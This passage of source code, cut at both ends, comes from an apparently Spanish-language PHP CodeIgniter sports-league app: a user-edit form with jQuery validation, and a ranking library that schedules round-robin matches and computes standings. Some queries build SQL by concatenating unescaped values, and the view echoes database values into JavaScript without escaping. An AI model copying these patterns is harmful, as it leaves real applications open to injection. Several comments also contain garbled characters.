= $( this ).data( "datepicker" ); date = $.datepicker.parseDate( instance.settings.dateFormat || $.datepicker._defaults.dateFormat, selectedDate, instance.settings ); dates.not( this ).datepicker( "option", option, date ); } }); }); //Construyo un array var array_level = new Array(); array_level[0] = 'No seleccionado'; <?php //relleno el array de niveles if(isset($array_levels) && is_array($array_levels)) { foreach($array_levels as $value) { echo 'array_level['.$value['id'].']= \''.$value['name'].'\';'; } } ?> </script> <script type="text/javascript"> $('#guardar_button') .click(function() { document.getElementById('player_level').disabled=false; document.getElementById('group_id').disabled=false; document.getElementById('bank').disabled=false; document.getElementById('bank_office').disabled=false; document.getElementById('bank_dc').disabled=false; document.getElementById('bank_account').disabled=false; document.getElementById('bank_titular').disabled=false; $('#activar_dialog').dialog('open'); }); $('#cancelar_button') .click(function() { $(document.location).attr("href", "<?php echo site_url('users/index'); ?>"); }); $('#password_change') .click(function() { $('#password_dialog').dialog('open'); }); </script> <script type="text/javascript"> // increase the default animation speed to exaggerate the effect //$.fx.speeds._default = 1000; $(function() { // a workaround for a flaw in the demo system (http://dev.jqueryui.com/ticket/4375), ignore! $("#dialog").dialog("destroy"); var first_name = $("#first_name"), last_name = $("#last_name"), email = $("#email"), password_user = $("#password_user"), user_phone = $("#user_phone"), group_id = $("#group_id"), old_password = $("#old_password"), new_password = $("#new_password"), re_password = $("#re_password"), allFields = $([]).add(first_name).add(last_name).add(password_user).add(user_phone).add(old_password).add(new_password).add(re_password), tips = $(".validateTips"); function updateTips(t) { tips .text(t) .addClass('ui-state-highlight'); setTimeout(function() { tips.removeClass('ui-state-highlight', 1500); }, 500); } function checkLength(o,n,min,max) { if ( o.val().length > max || o.val().length < min ) { o.addClass('ui-state-error'); updateTips("La longitud de " + n + " debe estar entre "+min+" y "+max+"."); return false; } else { return true; } } function checkRegexp(o,regexp,n) { if ( !( regexp.test( o.val() ) ) ) { o.addClass('ui-state-error'); updateTips(n); return false; } else { return true; } } $('#activar_dialog').dialog({ autoOpen: false, show: 'blind', modal: true, buttons: { 'Guardar': function() { //chequeo de usuarios var bValid = true; //bValid = bValid && checkLength(name,"Apodo",3,40); bValid = bValid && checkLength(first_name,"Nombre",3,40); bValid = bValid && checkLength(last_name,"Apellido",3,60); bValid = bValid && checkLength(user_phone,"Telefono",9,15); //bValid = bValid && checkLength(email,"Email",6,80); bValid = bValid && checkRegexp(user_phone,/^([0-9])+$/i,"El telefono debe ser numerico."); bValid = bValid && checkRegexp(group_id,/^([0-9])+$/i,"Seleccione un nivel."); //bValid = bValid && checkRegexp(name,/^[a-z]([0-9a-z_])+$/i,"Lastname may consist of a-z, 0-9, underscores, begin with a letter."); // From jquery.validate.js (by joern), contributed by Scott Gonzalez: http://projects.scottsplayground.com/email_address_validation/ if($("#email").val() != '') bValid = bValid && checkRegexp(email,/^((([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+(\.([a-z]|\d|[!#\$%&'\*\+\-\/=\?\^_`{\|}~]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])+)*)|((\x22)((((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(([\x01-\x08\x0b\x0c\x0e-\x1f\x7f]|\x21|[\x23-\x5b]|[\x5d-\x7e]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(\\([\x01-\x09\x0b\x0c\x0d-\x7f]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF]))))*(((\x20|\x09)*(\x0d\x0a))?(\x20|\x09)+)?(\x22)))@((([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|\d|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.)+(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])|(([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])([a-z]|\d|-|\.|_|~|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])*([a-z]|[\u00A0-\uD7FF\uF900-\uFDCF\uFDF0-\uFFEF])))\.?$/i,"Formato mail incorrecto, ejemplo: prueba@prueba.com"); if (bValid) { document.forms["formUser"].action='<?php echo site_url('users/edit_user');?>'; document.forms["formUser"].submit(); } else { $(this).dialog('close'); } }, 'Cancelar': function() { document.getElementById('player_level').disabled=true; document.getElementById('group_id').disabled=true; document.getElementById('bank').disabled=true; document.getElementById('bank_office').disabled=true; document.getElementById('bank_dc').disabled=true; document.getElementById('bank_account').disabled=true; document.getElementById('bank_titular').disabled=true; $(this).dialog('close'); } } }); $('#password_dialog').dialog({ autoOpen: false, show: 'blind', modal: true, buttons: { 'Modificar': function() { //chequeo de usuarios var bValid = true; //bValid = bValid && checkLength(name,"Apodo",3,40); bValid = bValid && checkLength(old_password,"Password",5,16); bValid = bValid && checkLength(new_password,"Password",5,16); bValid = bValid && checkLength(re_password,"Password",5,16); //bValid = bValid && checkLength(email,"Email",6,80); if($("#new_password").val() != $("#re_password").val()) { bValid = bValid && false; updateTips("Las dos copias del nuevo password deben ser iguales."); } if (bValid) { $('#frmPassword').submit(); } }, 'Cancelar': function() { $(this).dialog('close'); } } }); }); </script> <div id="activar_dialog" title="Modificar usuario"> <p>Est&aacute; seguro de querer cambiar los datos del usuario?</p> </div> <div id="password_dialog" title="Modificar contrase&ntilde;a"> <p class="validateTips">Rellene todos los campos.</p> <?php $attributes = array('class' => 'frmPassword', 'id' => 'frmPassword'); echo form_open('users/reset_password', $attributes); ?> <input type="hidden" name="returnUrl" id="returnUrl" value="<?php echo site_url('users/profile');?>"/> <input type="hidden" name="id_user" id="id_user" value="<?php echo $array_user['user_id'];?>"/> <fieldset> <label for="old_password">Contrase&ntilde;a actual:</label> <input type="password" name="old_password" id="old_password" value="" class="text ui-widget-content ui-corner-all" /> <br> <label for="new_password">Contrase&ntilde;a nueva:</label> <input type="password" name="new_password" id="new_password" value="" class="text ui-widget-content ui-corner-all" /> <br> <label for="re_password">Repetir contrase&ntilde;a:</label> <input type="password" name="re_password" id="re_password" value="" class="text ui-widget-content ui-corner-all" /> </fieldset> <?php echo form_close(''); ?> </div> ``` rank_lib.php ```<?php if ( ! defined('BASEPATH')) exit('No direct script access allowed'); class rank_lib { /** * CodeIgniter global * * @var string **/ protected $ci; /** * __construct * * @return void * @author Mathew **/ /* public function __construct() { $this->CI =& get_instance(); log_message('debug', "rank_Lib Class Initialized"); } */ public function rank_lib() { $this->CI =& get_instance(); log_message('debug', "rank_Lib Class Initialized"); } /** * Calcula partidos de una jornada (con opci๏ฟฝn de ida y vuelta, pendiente de progamar) * * @return array * @author Mathew **/ public function calculaJornadas($equipos, $i_v = false) { if(!is_array($equipos) || count($equipos) == 0) return NULL; //shuffle ($equipos); // Mezclamos los equipos para asegurar imparcialidad if((count($equipos)%2) == 1) array_push($equipos, 'D'); // Si son impares, a๏ฟฝado el equipo 'D', que es el de jornada de descanso $jornadas = count($equipos) - 1; $partidos = array(); # Recorremos las for($i = 1; $i <= $jornadas; $i++) { $jornada = array(); if($i == 1) { # Primera jornada for($j = 1; $j <= (count($equipos) / 2); $j++) { $k = $j - 1; //echo $j.'-'.$k.'-'.(count($equipos)/2).'<br>'; if((count($equipos)/2) == $j) $partido = array($equipos[count($equipos)-1], $equipos[($k)]); // El ๏ฟฝltimo partido de la jornada es especial.. else $partido = array($equipos[$k], $equipos[count($equipos)-($j+1)]); array_push($jornada, $partido); } # Fin de calculo de la primera jornada } elseif($i > 0 && $i%2 == 0) { # Calculo de las jornadas pares $punto_partida = $partidos[$i-2]; // Cojo la jornada anterior (que es impar) //print("<pre>");print_r($punto_partida);exit(); for($j=0; $j < count($punto_partida); $j++) { $partido = array(); if($j==0) $partido = array($punto_partida[$j][1], $punto_partida[count($punto_partida)-1][0]); else $partido = array($punto_partida[$j][1], $punto_partida[$j-1][0]); array_push($jornada, $partido); } # Fin de calculo de las jornadas pares } else { # Calculo de las jornadas impares $punto_partida = $partidos[$i-3]; // Cojo la anterior jornada impar (dos jornadas antes) //print("<pre>");print_r($punto_partida);exit(); for($j=0; $j < count($punto_partida); $j++) { $partido = array(); if($j==0) $partido = array($punto_partida[$j][1], $punto_partida[$j+1][1]); elseif(($j+1) == count($punto_partida)) $partido = array($punto_partida[$j][0], $punto_partida[$j-1][0]); else $partido = array($punto_partida[$j-1][0], $punto_partida[$j+1][1]); array_push($jornada, $partido); } # Fin de calculo de las jornadas impares } array_push($partidos, $jornada); } return($partidos); } /** * Recupera rondas de un ranking * * @return array * @author Mathew **/ public function getRounds($id) { $resultado = $this->CI->rank->getRounds($id); if(!isset($resultado) || count($resultado) == 0) return NULL; for($i=0; $i<count($resultado); $i++) { $resultado[$i]['fecha_inicio'] = date($this->CI->config->item('reserve_date_filter_format'), strtotime($resultado[$i]['start_date'])); $resultado[$i]['fecha_fin'] = date($this->CI->config->item('reserve_date_filter_format'), strtotime($resultado[$i]['end_date'])); if($resultado[$i]['started']=='') $resultado[$i]['started'] = '0'; if($resultado[$i]['finished']=='') $resultado[$i]['finished'] = '0'; if($resultado[$i]['started'] == '1' && $resultado[$i]['finished'] == '0') $resultado[$i]['current'] = '1'; else $resultado[$i]['current'] = '0'; } return $resultado; } /** * Recupera EQUIPOS de un ranking con su tanteo en la ronda actual * * @return array * @author Mathew **/ public function getTeams($id, $round = '', $group = '', $no_order = FALSE) { $info = $this->CI->rank->getRanking($id); $rondas = $this->getRounds($id); foreach($rondas as $ronda_) { if($ronda_['id'] == $round) $ronda_activa = $ronda_; } //print_r($ronda_activa); //echo '--'.$info['current_round_id'].'--'.$round; if($round == '') { # Si acabo de crear el ranking y a๏ฟฝn no hay ronda iniciada $equipos = $this->CI->rank->get_ActiveTeams($id, $group); if(!isset($equipos) || count($equipos) == 0) return NULL; for($i=0; $i < count($equipos); $i++) { $equipos[$i]['puntos'] = 0; $equipos[$i]['PJ'] = 0; $equipos[$i]['PG'] = 0; $equipos[$i]['PP'] = 0; $equipos[$i]['PE'] = 0; $equipos[$i]['SG'] = 0; $equipos[$i]['SP'] = 0; $equipos[$i]['SE'] = 0; $equipos[$i]['JG'] = 0; $equipos[$i]['JP'] = 0; $equipos[$i]['JE'] = 0; } } elseif($info['current_round_id'] == $round && $ronda_activa['started'] == '1' && $ronda_activa['finished'] == '0') { //echo 'aa'; # Si estoy consultando los datos de la jornada actual $equipos = $this->getTeamsCalculated($id, $round, $group, $no_order); } else { //echo 'bb'; # Si estoy consultando jornadas anteriores $equipos = $this->CI->rank->getRoundScoring($id, $round, $group, $no_order); //print('<pre>');print_r($equipos); } return $equipos; } /** * Baja un equipo de posicion en el ranking * * @return array * @author Mathew **/ public function moveTeamDown($id, $id_team) { $info = $this->CI->rank->getRanking($id); $equipos = $this->getTeams($id, $info['current_round_id']); //print_r($equipos); $equipo = $this->getTeam($id_team); $equipo1 = array('id_ranking' => $id, 'id' => $id_team, 'group' => '', 'order' => ''); $equipo2 = array('id_ranking' => $id, 'id' => '', 'group' => '', 'order' => ''); # Recorro los equipos para sacar el orden y grupo del equipo actual for($i=0; $i<count($equipos); $i++) { if($equipos[$i]['id'] == $id_team) { $orden_actual = $equipos[$i]['order']; $ronda_actual = $equipos[$i]['group']; //$equipo2['id'] = $equipos[$i-1]['id']; } } //echo $ronda_actual.' - '.$orden_actual.'<br>'; # Recorro los grupos y ordenes para asignarle la posicion anterior y la posterior al 2๏ฟฝ for($i=1; $i <= $info['groups']; $i++) { for($j=1; $j <= $info['teams']; $j++) { if($ronda_actual == $i && $orden_actual == $j) { $equipo2['group'] = $i; $equipo2['order'] = $j; continue; } //echo $i.' - aaaa - '.$j.'<br>'; if($equipo2['group']!='' && $equipo2['order']!='' && $equipo1['order']=='') { $equipo1['group'] = $i; $equipo1['order'] = $j; } } } for($i=0; $i<count($equipos); $i++) { if($equipos[$i]['group'] == $equipo1['group'] && $equipos[$i]['order'] == $equipo1['order']) { $equipo2['id'] = $equipos[$i]['id']; } } //print_r($equipo1);print_r($equipo2); //exit(); $this->CI->rank->setTeamPosition($id, $id_team, $equipo1['group'], $equipo1['order']); if($equipo2['id']!='') $this->CI->rank->setTeamPosition($id, $equipo2['id'], $equipo2['group'], $equipo2['order']); return true; } /** * Sube un equipo de posicion en el ranking * * @return array * @author Mathew **/ public function moveTeamUp($id, $id_team, $only_up = FALSE) { $info = $this->CI->rank->getRanking($id); //print($id_team."<pre>");print_r($info);//print_r($equipos); $equipos = $this->CI->rank->getRoundScoring($id, $info['current_round_id']); //exit(); //$equipos = $this->CI->rank->get_teams(array('where' => "ranking_teams.id_ranking = ".$id." AND ranking_teams.status = 1")); //$equipos = $this->getTeams($id, $info['current_round_id'], '', FALSE); $equipo = $this->getTeam($id_team); $equipo1 = array('id_ranking' => $id, 'id' => $id_team); $equipo2 = array('id_ranking' => $id, 'id' => ''); # Recorro los equipos para sacar el orden y grupo del equipo actual for($i=0; $i<count($equipos); $i++) { if($equipos[$i]['id'] == $id_team) { $orden_actual = $equipos[$i]['order']; $ronda_actual = $equipos[$i]['group']; //$equipo2['id'] = $equipos[$i-1]['id']; } } # Recorro los grupos y ordenes para asignarle la posicion anterior y la posterior al 2๏ฟฝ for($i=1; $i <= $info['groups']; $i++) { for($j=1; $j <= $info['teams']; $j++) { if($ronda_actual == $i && $orden_actual == $j) { $equipo1['group'] = $ronda; $equipo1['order'] = $orden; $equipo2['group'] = $i; $equipo2['order'] = $j; } $orden = $j; $ronda = $i; } } for($i=0; $i<count($equipos); $i++) { if($equipos[$i]['group'] == $equipo1['group'] && $equipos[$i]['order'] == $equipo1['order']) { $equipo2['id'] = $equipos[$i]['id']; } } //print_r($equipo1);print_r($equipo2); //exit(); $this->CI->rank->setTeamPosition($id, $id_team, $equipo1['group'], $equipo1['order'], $info['current_round_id']); if(!$only_up && $equipo2['id']!='') $this->CI->rank->setTeamPosition($id, $equipo2['id'], $equipo2['group'], $equipo2['order'], $info['current_round_id']); return true; } # Calculo para la jornada actual public function getTeamsCalculated($id, $round = '0', $group = '', $no_order = FALSE) { //if($no_order) echo 'no ordenar'; $equipos = $this->CI->rank->get_ActiveTeams($id, $group); if(!isset($equipos) || count($equipos) == 0) return NULL; for($i=0; $i < count($equipos); $i++) { $equipos[$i]['puntos'] = 0; $equipos[$i]['desempate'] = 0; $equipos[$i]['PJ'] = 0; $equipos[$i]['PG'] = 0; $equipos[$i]['PP'] = 0; $equipos[$i]['PE'] = 0; $equipos[$i]['PD'] = 0; //Diferencia entre ganados y perdidos $equipos[$i]['SG'] = 0; $equipos[$i]['SP'] = 0; $equipos[$i]['SE'] = 0; $equipos[$i]['SD'] = 0; $equipos[$i]['JG'] = 0; $equipos[$i]['JP'] = 0; $equipos[$i]['JE'] = 0; $equipos[$i]['JD'] = 0; } //print("<b>EQUIPOS</b><pre>");print_r($equipos);print("</pre>"); # Estados de los partidos que se considerar๏ฟฝn a efectos de resultados $estados = $this->CI->config->item('ranking_completed_matchs_status'); $condiciones = "ranking_matchs.id_ranking = ".$id." AND ranking_matchs.round = ".$round." AND ranking_matchs.status IN (".implode(', ', $estados).")"; $partidos = $this->CI->rank->get_matchs_data(array('where' => $condiciones), 'all'); //print("<b>PARTIDOS</b><pre>");print_r($partidos);print("</pre>"); # Puntuaciones de partidos $puntuaciones = array( 'ganado' => $this->CI->config->item('ranking_win_match'), 'empatado' => $this->CI->config->item('ranking_drawn_match'), 'perdido' => $this->CI->config->item('ranking_lost_match'), 'ganadoWO' => $this->CI->config->item('ranking_win_WO_match'), 'perdidoWO' => $this->CI->config->item('ranking_lost_WO_match') ); foreach($partidos as $partido) { switch($partido['status']) { case '5': $ganador = $partido['winner']; if($partido['team1'] != $ganador) $perdedor = $partido['team1']; else $perdedor = $partido['team2']; for($i=0; $i<count($equipos); $i++) { # Datos del equipo ganador if($equipos[$i]['id'] == $ganador) { $equipos[$i]['PJ']++; $equipos[$i]['PG']++; $equipos[$i]['puntos']+=$puntuaciones['ganado']; } # Datos del equipo perdedor if($equipos[$i]['id'] == $perdedor) { $equipos[$i]['PJ']++; $equipos[$i]['PP']++; $equipos[$i]['puntos']+=$puntuaciones['perdido']; } } break; case '6': $ganador = $partido['winner']; if($partido['team1'] != $ganador) $lesionado = $partido['team1']; else $lesionado = $partido['team2']; for($i=0; $i<count($equipos); $i++) { # Datos del equipo ganador if($equipos[$i]['id'] == $ganador) { $equipos[$i]['PJ']++; $equipos[$i]['PG']++; $equipos[$i]['puntos']+=$puntuaciones['ganadoWO']; } # Datos del equipo perdedor if($equipos[$i]['id'] == $lesionado) { $equipos[$i]['PJ']++; $equipos[$i]['PP']++; $equipos[$i]['puntos']+=$puntuaciones['perdidoWO']; } } break; case '8': $ganador = $partido['winner']; if($partido['team1'] != $ganador) $no_presentado = $partido['team1']; else $no_presentado = $partido['team2']; for($i=0; $i<count($equipos); $i++) { # Datos del equipo ganador if($equipos[$i]['id'] == $ganador) { $equipos[$i]['PJ']++; $equipos[$i]['PG']++; $equipos[$i]['puntos']+=$puntuaciones['ganadoWO']; } # Datos del equipo perdedor if((($equipos[$i]['id'] == $partido['team1'] || $equipos[$i]['id'] == $partido['team2']) && $ganador == '0' ) || $equipos[$i]['id'] == $no_presentado ) { $equipos[$i]['PJ']++; $equipos[$i]['PP']++; $equipos[$i]['puntos']+=$puntuaciones['perdidoWO']; } } break; } foreach($partido['resultado2'] as $set => $tantos) { for($i=0; $i<count($equipos); $i++) { # Datos del equipo ganador if($equipos[$i]['id'] == $partido['team1']) { $equipos[$i]['JG'] = $equipos[$i]['JG'] + $tantos['team1']; $equipos[$i]['JP'] = $equipos[$i]['JP'] + $tantos['team2']; if($tantos['team1'] > $tantos['team2']) $equipos[$i]['SG']++; elseif($tantos['team1'] < $tantos['team2']) $equipos[$i]['SP']++; elseif($tantos['team1']!=0) $equipos[$i]['SE']++; } if($equipos[$i]['id'] == $partido['team2']) { $equipos[$i]['JG'] = $equipos[$i]['JG'] + $tantos['team2']; $equipos[$i]['JP'] = $equipos[$i]['JP'] + $tantos['team1']; if($tantos['team1'] > $tantos['team2']) $equipos[$i]['SP']++; elseif($tantos['team1'] < $tantos['team2']) $equipos[$i]['SG']++; elseif($tantos['team1']!=0) $equipos[$i]['SE']++; } } } } for($i=0; $i<count($equipos); $i++) { $equipos[$i]['PD'] = $equipos[$i]['PG'] - $equipos[$i]['PP']; $equipos[$i]['SD'] = $equipos[$i]['SG'] - $equipos[$i]['SP']; $equipos[$i]['JD'] = $equipos[$i]['JG'] - $equipos[$i]['JP']; } //!!!!!!!!!!!!!!!!!!!!!!!!!!!!! if($no_order) { $equipos = $this->CI->app_common->ordenar_array($equipos, 'group', SORT_ASC, 'order', SORT_ASC); //echo 'aa'; } else { $equipos = $this->CI->app_common->ordenar_array($equipos, 'group', SORT_ASC, 'puntos', SORT_DESC, 'PG', SORT_DESC, 'SD', SORT_DESC, 'SG', SORT_DESC, 'JD', SORT_DESC, 'JG', SORT_DESC); $grupos = $this->CI->app_common->array_column($equipos, 'group', 'group'); //print_r($grupos); //echo 'bb'; # Voy a ir recorriendo grupo por grupo buscando si hay empates a dos en el primer o ultimo lugar para rellenar un campo 'desempate' que permita saber quien va primero y quien segundo de esas parejas emparejadas a dos (se hace por el ganador del cruce directo) foreach($grupos as $grupo) { $implicados = array(); $puntuacion_mayor = 0; $puntuacion_menor=0; $primeros = array(); $ultimos = array(); $id_anterior = 0; $puntos_anterior = 0; $agrupacion_puntos = array(); foreach($equipos as $equipo) { if($equipo['group'] == $grupo) { array_push($implicados, $equipo); // Relleno un array con los datos de equipos de este grupo #Relleno el array que agrupa a los equipos con la misma puntuaciรณn, para los desempates if(!isset($agrupacion_puntos[$equipo['puntos']])) $agrupacion_puntos[$equipo['puntos']] = array(); array_push($agrupacion_puntos[$equipo['puntos']], $equipo['id']); // Si es el equipo con m๏ฟฝs puntos, grabo cuantos puntos son y grabo que es el equipo m๏ฟฝs alto. Si tiene los mismos puntos que el mayor, lo a๏ฟฝado al array de $primeros if($equipo['puntos'] > $puntuacion_mayor) { $puntuacion_mayor = $equipo['puntos']; $primeros = array($equipo['id']); } elseif($equipo['puntos'] == $puntuacion_mayor) array_push($primeros, $equipo['id']); // Si es el equipo con menos puntos, grabo cuantos puntos son y grabo que es el equipo m๏ฟฝs bajo. Si tiene los mismos puntos que el menor, lo a๏ฟฝado al array de $ultimos if($equipo['puntos'] < $puntuacion_menor) { $puntuacion_menor = $equipo['puntos']; $ultimos = array($equipo['id']); } elseif($equipo['puntos'] == $puntuacion_menor) array_push($ultimos, $equipo['id']); #Actualizo las variables para comparar $id_anterior = $equipo['id']; $puntos_anterior = $equipo['puntos']; } } //echo '<pre>'; print_r($equipos); exit(); # Desempates de dos equipos! foreach($agrupacion_puntos as $puntuacion => $equipos_puntuados) { # Recorro el array de puntuaciones y cuando detecto qyehay un empate a dos, gestiono el desempate if(count($equipos_puntuados) == 2) { //echo '<br>Equipos empatados:'; print_r($equipos_puntuados); # Recorro los equipos para saber la posiciรณn actual del equipo que va delante y del que va detrรกs $pos_ganador = 0; $pos_perdedor = 0; for($i=0; $i<count($equipos); $i++) { if(in_array($equipos[$i]['id'], $equipos_puntuados)) { if($pos_ganador == 0) $pos_ganador = $equipos[$i]['order']; else $pos_perdedor = $equipos[$i]['order']; } } foreach($partidos as $partido) { # Busco el enfrentamiento directo if(in_array($partido['team1'], $equipos_puntuados) && in_array($partido['team2'], $equipos_puntuados)) { for($i=0; $i<count($equipos); $i++) { if($equipos[$i]['id'] == $partido['winner']) { /*echo '<br>El equipo '.$equipos[$i]['description'].' sube posicion a '.$pos_ganador;*/ $equipos[$i]['order'] = $pos_ganador; $equipos[$i]['desempate'] = 1; } elseif(in_array($equipos[$i]['id'], $equipos_puntuados) && $partido['winner']!='' && $equipos[$i]['id'] != $partido['winner']) { /*echo '<br>El equipo '.$equipos[$i]['description'].' baja posicion a '.$pos_perdedor;*/ $equipos[$i]['order'] = $pos_perdedor; $equipos[$i]['desempate'] = 0; } } //print_r($equipos[$i]); exit(); } } } } /* if(count($primeros) == 2) { //echo 'Hay dos empatados para el primer puesto...<br>'; echo '<pre>'; print_r($primeros); foreach($partidos as $partido) { # Busco el enfrentamiento directo if(in_array($partido['team1'], $primeros) && in_array($partido['team2'], $primeros)) { for($i=0; $i<count($equipos); $i++) { if($equipos[$i]['id'] == $partido['winner']) { $equipos[$i]['order'] = 1; $equipos[$i]['desempate'] = 1; } if(in_array($equipos[$i]['id'], $primeros) && $partido['winner']!='' && $equipos[$i]['id'] != $partido['winner']) { $equipos[$i]['order'] = 2; } } //print_r($equipos[$i]); exit(); } } } if(count($ultimos) == 2) { //echo 'Hay dos empatados para el ultimo puesto...<br>'; echo '<pre>'; print_r($ultimos); foreach($partidos as $partido) { # Busco el enfrentamiento directo if(in_array($partido['team1'], $ultimos) && in_array($partido['team2'], $ultimos)) { for($i=0; $i<count($equipos); $i++) { if($equipos[$i]['id'] == $partido['winner']) { $equipos[$i]['order'] = (count($implicados) -1); $equipos[$i]['desempate'] = 1; } if(in_array($equipos[$i]['id'], $ultimos) && $partido['winner']!='' && $equipos[$i]['id'] != $partido['winner']) { $equipos[$i]['order'] = count($implicados); } } //print_r($equipos[$i]); exit(); } } } */ /* if($grupo == 2) { $implicados = array(); foreach($equipos as $equipo) { if($equipo['group'] == $grupo) { array_push($implicados, $equipo); // Relleno un array con los datos de equipos de este grupo } } print("<pre>");print_r($implicados); exit(); } */ } //exit(); # Reordeno de nuevo metiendo el campo 'desempate' en el ordenamiento, para que dentro de los que est๏ฟฝn empatados a puntos y hayan entrado en el calculo anterior (es decir.. los que solo tenian dos empatados) se tenga en cuenta primero el desempate antes que los partidos ganados.. if(!$no_order) $equipos = $this->CI->app_common->ordenar_array($equipos, 'group', SORT_ASC, 'puntos', SORT_DESC, 'desempate', SORT_DESC, 'PG', SORT_DESC, 'SD', SORT_DESC, 'SG', SORT_DESC, 'JD', SORT_DESC, 'JG', SORT_DESC); $grupo_ = 1; $pos_ = 1; $id_ = 0; foreach($equipos as $equipo) { if($grupo_ != $equipo['group']) $pos_ = 1; $grupo_ = $equipo['group']; //echo '<br>poniendo equipo '.$equipo['description'].' en posicion '.$pos_; $this->CI->rank->setTeamPosition($id, $equipo['id'], $equipo['group'], $pos_); $equipos[$id_]['order'] = $pos_; $pos_++; $id_++; } } //print("<b>EQUIPOS CON RESULTADOS</b><pre>");print_r($equipos);print("</pre>");exit(); //exit('aaaa'); return $equipos; } /** * Recupera rondas de un ranking * * @return array * @author Mathew **/ public function createRounds($info) { if(!isset($info) || count($info)==0) return NULL; $fecha_inicio = strtotime($info['start_date']); //echo 'inicio: '.$info['start_date'].' - '.$fecha_inicio.'<br>'; $fecha_fin = strtotime($info['end_date']); //echo 'fin: '.$info['end_date'].' - '.$fecha_fin.'<br>'; $duracion_total = $fecha_fin - $fecha_inicio; $duracion_total_dias = intval($duracion_total/ (60*60*24)); //echo 'Duracion: '.$duracion_total.' / dias: '.strval($duracion_total_dias).'<br>'; $rondas = intval($info['rounds']); //echo 'rondas: '.$info['rounds'].'<br>'; $duracion_ronda = intval($info['round_duration']); //echo 'Duracion/ronda: '.$info['round_duration'].'<br>'; $modo = ''; if($rondas != '0') $modo = 'rounds'; if($duracion_ronda != '0') $modo = 'duration'; if($modo=='') return NULL; switch($modo) { case 'rounds': $time_jornada = $duracion_total / $rondas; $duracion_ronda = intval($time_jornada/ (60*60*24)); //echo 'Duracion ronda: '.$time_jornada.' / en dias: '.strval($duracion_ronda).'<br>' ; break; case 'duration': $rondas = intval($duracion_total_dias / $duracion_ronda); //echo 'Rondas: '.$rondas.' <br>'; break; } $jornadas = array(); $fecha_actual = $fecha_inicio; for($i=1; $i <= $rondas; $i++) { //echo 'Ronda numero '.$i.'<br>'; $ronda_trabajo = array(); $ronda_trabajo['ronda'] = $i; $ronda_trabajo['initial'] = $fecha_actual; $ronda_trabajo['start_date'] = date($this->CI->config->item('date_db_format'), $fecha_actual); $ronda_trabajo['fecha_inicio'] = date($this->CI->config->item('reserve_date_filter_format'), $fecha_actual); $ronda_trabajo['end'] = $fecha_actual + (($duracion_ronda-1)*60*60*24); if($i == $rondas) $ronda_trabajo['end'] = $fecha_fin; $ronda_trabajo['end_date'] = date($this->CI->config->item('date_db_format'), $ronda_trabajo['end']); $ronda_trabajo['fecha_fin'] = date($this->CI->config->item('reserve_date_filter_format'), $ronda_trabajo['end']); //echo $ronda_trabajo['end']; array_push($jornadas, $ronda_trabajo ); $fecha_actual = $ronda_trabajo['end'] + (60*60*24); } //$inicio //print("<pre>");print_r($jornadas);print("</pre>");exit(); return $jornadas; } /** * Crea array con los partidos asociados a un grupo, con las fechas estimadas de juego * * @return array * @author Mathew **/ public function scheduleMatchs($info, $group, $jornada, $matchs) { if(!isset($info) || count($info)==0) return NULL; if(!isset($matchs) || count($matchs)==0) return NULL; //print("<pre>");print_r($info);print('Grupo: '.$group.'<br>Jornada: '.$jornada.'<br>');print_r($matchs);print("</pre>"); foreach($info['rondas'] as $ronda) { if($ronda['id'] == $jornada) { $fecha_inicio = strtotime($ronda['start_date']); //echo 'inicio: '.$ronda['start_date'].' - '.$fecha_inicio.'<br>'; $fecha_fin = strtotime($ronda['end_date']); //echo 'fin: '.$ronda['end_date'].' - '.$fecha_fin.'<br>'; if(!isset($fecha_inicio) || !isset($fecha_fin)) return null; $duracion_total = $fecha_fin - $fecha_inicio; $duracion_total_dias = intval($duracion_total/ (60*60*24)); //echo 'Duracion: '.$duracion_total.' / dias: '.strval($duracion_total_dias).'<br>'; $encuentros = count($matchs); //echo 'encuentros: '.$encuentros.'<br>'; $duracion_ronda = intval($info['round_duration']); //echo 'Duracion/ronda: '.$info['round_duration'].'<br>'; $time_jornada = $duracion_total / $encuentros; $duracion_ronda = intval($time_jornada/ (60*60*24)); //echo 'Duracion ronda: '.$time_jornada.' / en dias: '.strval($duracion_ronda).'<br>' ; $jornadas = array(); $fecha_actual = $fecha_inicio; for($i=1; $i <= $encuentros; $i++) { //echo 'Ronda numero '.$i.'<br>'; $ronda_trabajo = array(); $ronda_trabajo['id_ranking'] = $info['id']; $ronda_trabajo['group'] = $group; $ronda_trabajo['round'] = $jornada; $ronda_trabajo['estimated_date'] = date($this->CI->config->item('date_db_format'), $fecha_actual); $ronda_trabajo['end'] = $fecha_actual + (($duracion_ronda-1)*60*60*24); if($i == $encuentros) $ronda_trabajo['end'] = $fecha_fin; //echo $ronda_trabajo['end']; foreach($matchs[$i-1] as $jornadita) { //print_r($jornadita); $ronda_trabajo['team1'] = $jornadita[0]; $ronda_trabajo['team2'] = $jornadita[1]; # Descarto los partidos de descanso if($ronda_trabajo['team1']!='D' && $ronda_trabajo['team2']!='D') array_push($jornadas, $ronda_trabajo ); } $fecha_actual = $ronda_trabajo['end'] + (60*60*24); } } } //$inicio //print("JORNADAS!!!!!<pre>");print_r($jornadas);print("</pre>");exit(); return $jornadas; } /** * Recupera datos de partidos para una jornada * * @return array * @author Mathew **/ public function getMatchs($ranking, $round, $add_params) { $this->CI->load->model('Ranking_model', 'rank', TRUE); //exit($ranking.'aa'); $where = ''; //$req_param = array (); $req_param = array ( "orderby" => $this->CI->input->post( "sidx", TRUE ), "orderbyway" => $this->CI->input->post( "sord", TRUE ), "page" => $this->CI->input->post( "page", TRUE ), "num_rows" => $this->CI->input->post( "rows", TRUE ), "search" => $this->CI->input->post( 